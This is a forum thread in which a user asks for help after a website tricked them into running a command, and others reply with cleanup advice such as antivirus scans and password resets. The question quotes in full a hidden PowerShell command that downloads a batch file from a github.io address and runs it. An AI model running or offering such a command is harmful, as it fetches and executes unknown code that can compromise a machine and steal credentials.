I accidentally ran a suspicious command—what should I do now?

0
26
Asked By CuriousOne42 On

I need some help! I was tricked by a website into running a command in the Run prompt, and now I'm worried about the potential damage it could have caused. The command I accidentally executed was:
powershell -w Hidden -ep Bypass -c "iwr [eng730.github.io/e/654] -OutFile $env:TEMP\P.bat; cmd /c $env:TEMP\P.bat". Can anyone explain what this command does, what kind of harm it might inflict, and how I can undo any effects it may have had?

4 Answers

Answered By WorriedUser101 On

It's a good call to be cautious! If the command ran with a hidden parameter, there's a chance some scripts ran in the background. Keep monitoring your system and run a complete antivirus scan. You might want to check your browser for any unusual activity, too.

Answered By RandomDude234 On

Haha, I once ran a random script on my iPhone, and it wanted money from me! Just be careful—these things can snowball into bigger issues.

Answered By TechieTina99 On

First off, you might want to look at resetting your passwords and setting up multi-factor authentication everywhere. I know it’s frustrating, but formatting your computer could also help if you think it’s that infected. Backup your files first, of course!

CuriousOne42 -

Yeah, I realize how silly it was now. The website was clearly trying to trick me, and I just wanted to see what was going on. I didn’t mean to run the command!

Answered By SafetySam77 On

Running that command likely downloaded and executed a batch file straight from the web, which could contain harmful instructions. Make sure to check for any suspicious files in your system and scan with your antivirus software since it seems like Windows Defender already found the .bat file.

CuriousOne42 -

I did check, but can you confirm if the PowerShell script might have any hidden files left behind? I'm not sure if it could have done anything else, like grabbing my credentials.

Related Questions

LEAVE A REPLY

Please enter your comment!
Please enter your name here

This site uses Akismet to reduce spam. Learn how your comment data is processed.